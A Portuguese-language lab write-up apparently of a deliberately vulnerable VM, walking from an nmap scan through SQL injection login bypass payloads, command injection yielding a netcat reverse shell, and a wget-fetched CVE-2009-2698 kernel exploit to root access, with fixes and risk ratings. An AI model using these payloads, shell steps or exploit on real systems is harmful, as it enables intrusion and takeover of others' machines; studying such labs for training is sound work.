Explorando injeção de comandos e kernel exploits

teste

Introdução

Essa foi a segunda máquina em que consegui obter root. Dessa vez tive menos trabalho pois segui o padrão que aprendi na primeira: Enumere o máximo que puder, use muito o google e daí explore as vulnerabilidades que encontrar.

Pois bem, vamos ao que interessa.

IP da máquina
10.0.2.15

Enumeração de Serviços

Nessa fase faço uma varredura de portas e serviços rodando em servidor. Alguns serviços estão desatualizados, sendo passíveis de serem atacados usando exploits públicos. Há várias ferramentas para fazer essas varreduras, mas a mais utilizada é o NMAP.

Endereço IPPortas Abertas
10.0.2.15TCP: 22,80,111,443,631

comando: nmap -sV -A -oN kio2-nmap 10.0.2.15

Resultado do Nmap:

$ cat kio2-nmap
# Nmap 7.93 scan initiated Mon Aug  7 18:43:30 2023 as: nmap -sV -A -oN kio2-nmap 10.0.2.15
Nmap scan report for 10.0.2.15
Host is up (0.00057s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 
|   1024 8f3e8b1e5863fecf27a318093b52cf72 (RSA1)
|   1024 346b453dbacecab25355ef1e43703836 (DSA)
|_  1024 684d8cbbb65abd7971b87147ea004261 (RSA)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.0.52 (CentOS)
111/tcp  open  rpcbind  2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            858/udp   status
|_  100024  1            861/tcp   status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ssl-date: 2023-08-08T02:43:50+00:00; +3h59m58s from scanner time.
|_http-server-header: Apache/2.0.52 (CentOS)
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after:  2010-10-08T00:10:47
631/tcp  open  ipp      CUPS 1.1
|_http-title: 403 Forbidden
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:A6:DC:AE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
 
Host script results:
|_clock-skew: 3h59m57s
 
TRACEROUTE
HOP RTT     ADDRESS
1   0.57 ms 10.0.2.15
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug  7 18:44:06 2023 -- 1 IP address (1 host up) scanned in 36.16 seconds
 

Exploração

Nessa fase uso as informações obtidas para se aproveitar de vulnerabilidades encontradas nesses serviços. Durante esse Pentest foi encontrada uma falha de SQL injection na página de login do site. A seguir pode-se ver o passo a passo da exploração:

Primeiramente, ao acessar a url do site 10.0.2.15/index.php, encontramos uma página de login, como pode-se ver na gravura a seguir:

página de login

Rodando a ferramenta sqlmap, verifiquei se a página tinha vulnerabilidade a ataques de SQL injection. O sqlmap retornou que o formulário de login era vulnerável a ataques booleanos, ou seja, condicionais de verdadeiro ou falso. Na gravura a seguir vemos uma amostra do resultado:

sqlmap

Vulnerabilidade: SQL injection Boolean-Based

Explicação:

Info

Quando o código inserido pelo usuário não é apropriadamente sanitizado, um usuário mal intencionado pode injetar queries sql, que são comandos na linguagem do banco de dados. O servidor aceitará esses comandos como confiáveis e retornará ao hacker a informação solicitada. Esse é um dos ataques mais comuns, sendo listado no Owasp top 10. Um sql injection boolean-based abusa da lógica de parâmetros de verdadeiro e falso.

Exemplo:

admin'or 1=1-- -

Esse código diz que o banco de dados deve verificar a existência de um usuário chamado admin. Mas ao adicionar a aspa simples ” ’ ”, o servidor passa a ler o restante do código como uma query sql. O próximo trecho diz que a condição para o servidor liberar o acesso ao usuário é se 1 for igual a 1. Como essa condição é verdadeira, o acesso é facilmente burlado.

Solução: Sanitizar todo input (entradas) feito pelo usuário. Outra solução é usar uma lista branca de caracteres especiais que são permitidos aos usuários. Caracteres proibidos são filtrados pelo servidor. Além disso, erros de servidor não devem ser retornados ao usuário.

Risco: Alto

Prova de Conceito:
Trecho do sqlmap que contém o payload usado:

[19:08:16] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 574 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-2741' OR 9983=9983-- GTFZ&psw=&btnLogin=Login
 
    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: uname=VBUI' AND 7493=BENCHMARK(5000000,MD5(0x5144416e))-- QIiT&psw=&btnLogin=Login
---
do you want to exploit this SQL injection? [Y/n] y
[19:09:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4
web application technology: Apache 2.0.52, PHP 4.3.9
back-end DBMS: MySQL < 5.0.12
[19:09:56] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-08072023_0707pm.csv'
[19:09:56] [WARNING] your sqlmap version is outdated
 
[*] ending @ 19:09:56 /2023-08-07/
 
 

Após usar o payload no formulário, encontrei a página seguinte:

página acessada

Vulnerabilidade: Remote Command Execution

Explicação:

Note

Uma falha na hora de sanitizar o input do usuário pode permitir que este injete comandos de servidor diretamente no formulário web. O servidor retorna os resultados na pŕopria página web. Essa falha pode ser escalada por se criar um reverse shell para que o hacker possa interagir com o servidor remotamente.

Solução: Filtrar comandos de servidor que forem passados pelo usuário.

Risco: Alto

Prova de Conceito:
Na gravura a seguir vemos que o formulário é uma espécie de web console que realiza um comando ping -c 3 < ip-da-máquina >. Ao realizar um ping para o google.com, vemos o resultado abaixo:

ping 8.8.8.

O servidor recebe comandos do usuário e os realiza sem sanitizá-los. O que aconteceria se junto ao IP fosse fornecido um pipe | ou um ponto e vírgula ; ?Eu poderia inserir um comando adicional ao esperado pelo servidor. Assim invoquei umu shell reverso usando o web console:

web console injetado

Trecho do acesso remoto ao servidor e obtenção de credenciais:

#obtendo shell reversa
$ nc -lnvp 1234                                                   
listening on 1234 ...                           
connect to [10.0.2.11] from [10.0.2.15] 32782
bash:no job control in this shell 
# fazendo upgrade de shell invocando bash com python tty
$ python -c 'import pty;pty.spawn("/bin/bash")'
bash-3$ export TERM=xterm-256color
bash-3$^Z
$ stty raw -echo;fg
[1] + continued  nc -lnvp 1234  
# agora é possível usar CTRL + C, TAB e o comando clear. 
bash-3$ clear
bash-3$ ls
index.php pingit.php 
bash-3$ ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct  8  2009 .
drwxr-xr-x 8 root root 4096 Oct  7  2009 ..
-rwxr-Sr-t 1 root root 1733 Feb  9  2012 index.php
-rwxr-Sr-t 1 root root  199 Oct  8  2009 pingit.php

Shell obtida:

shell reversa

Pós exploração

Nessa fase procuro elevar os privilégios de usuário e manter acesso persistente na máquina alvo. O alvo era vulnerável a uma falha no kernel linux, na sua versão 2.6.19. Para saber a versão do kernel no linux usei o comando uname -a.

Vulnerabilidade: CVE-2009-2698

Explicação:

Info

A função udp_sendmsg na implementação do UDP em (1) net/ipv4/udp.c e (2) net/ipv6/udp.c no kernel do Linux antes de 2.6.19 permite que os usuários locais obtenham privilégios ou causem uma negação de serviço (desreferência de ponteiro NULL e falha do sistema) por meio de vetores que envolvem o sinalizador MSG_MORE e um soquete UDP.

Solução: Atualizar o kernel para versões mais recentes.

Risco: Crítico

Prova de Conceito:
Trecho do uso do exploit 0x82-CVE-2009-269 que pode ser encontrado no GitHub:

#upando da minha máquina para a máquina alvo
bash-3$ wget http://10.0.2.11:8000/0x82-CVE-2009-2698.c
--07:17:01-- http://10.0.2.11:8000/0x82-CVE-2009-2698.c
           => 0x82-CVE-2009-2698.c
Connecting to 10.0.2.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K)[text/x-csrc]
                                                                                                                                                                     
100%[====================================>] 2,535        --.--K/s
                                                                                                                                                                     
07:17:01 (12.46 MB/s) - 0x82-CVE-2009-2698.c saved [2535/2535]  
 
#compilando o código de acordo com as instruções no próprio exploit
 
bash-3.00$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-269
 
0x82-CVE-2009-2698.c:109:28: warning: no newline at end of file
 
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
 

Após mudar a senha do root usando o comando passwd, acessei o servidor via ssh. A gravura a seguir mostra o comando e acesso root ao servidor.

pwned!

Considerações Finais

Após todas as descobertas, podemos resumir os achados da seguinte forma:

vulnerabilidadesRisco
2Alto
1Crítico

Nessa máquina aprendi um pouco mais sobre sqlinjection, kernel exploit e má sanitização de inputs de usuários.